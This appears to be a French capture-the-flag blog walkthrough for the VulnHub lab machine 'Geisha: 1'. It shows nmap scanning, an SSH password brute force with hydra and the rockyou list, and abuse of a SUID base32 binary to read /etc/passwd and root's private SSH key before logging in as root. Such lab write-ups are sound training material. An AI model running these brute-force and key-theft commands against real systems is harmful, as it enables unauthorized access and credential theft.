Aujourd’hui, nous allons nous attaquer au CTF Geisha : 1 que vous trouverez à cette adresse :
https://www.vulnhub.com/entry/geisha-1,481/
Pour rappel, on a généralement 4 phases dans un CTF :
- Reconnaissance
- Enumération
- Exploitation
- Escalade de privilèges
Reconnaissance :
On doit d’abord repérer la machine sur notre réseau :
netdiscover
La machine à attaquer est en 192.168.1.133 (paramètre variable suivant votre réseau).
Il est maintenant temps de regarder les ports qui sont ouverts à l’aide de la commande Nmap :
nmap -A -p- 192.168.1.133
Rappel :
-A : Active la détection du système d’exploitation et des versions
-p- : On scanne sur la plage de port complet (entre 1 et 65535)
On remarque que le port 80 est ouvert, go pour l’ouverture dans le navigateur !
Enumeration :
On obtient une belle image, rien dans le source et aucune info cachée dans l’image.
Lors du nmap, on a pu remarquer qu’il y avait du « geisha » à toutes les sauces 🙂 On pourrait très bien supposé que geisha pourrait être une partie des crédentials de connexion. Étant donné que le port 22 est ouvert (port SSH), on va essayer d’effectuer un bruteforce à l’aide de l’outil hydra.
Exploitation :
hydra -l geisha -P /usr/share/wordlists/rockyou.txt 192.168.1.133 ssh
Et on obtient le mot de passe letmein pour l’utilisateur geisha.
Maintenant que nous avons trouvé les identifiants de connexion, et bien, on se connecte !
ssh geisha@192.168.1.133
Escalade de privilèges :
Voyons ce que nous avons à disposition
find / -perm -u=s -type f 2>/dev/null
Nous avons un peu de choix, l’outil base32 semble une bonne base pour notre escalade de privilèges. Faisons un petit test :
base32 « /etc/passwd » | base32 –decode
Effectivement, base32 nous permet via cette astuce (encodage puis decodage) d’accéder à des informations de l’utilisateur root. On va maintenant tenter de récupérer la clé privée de l’utilisateur root par ce procédé.
base32 « /root/.ssh/id_rsa » | base32 –decode
Et bien, nous voilà avec toutes les informations nécessaires à la connexion en tant que root. On va copier la clé privée dans un fichier de notre machine Kali Linux et ensuite lancer une connexion SSH. Attention, il ne faut pas oublier de mettre les droits 600 à notre fichier !
pico my_key
chmod 600 my_key
ssh -i my_key root@192.168.1.133
Nous voilà root et on trouve le flag !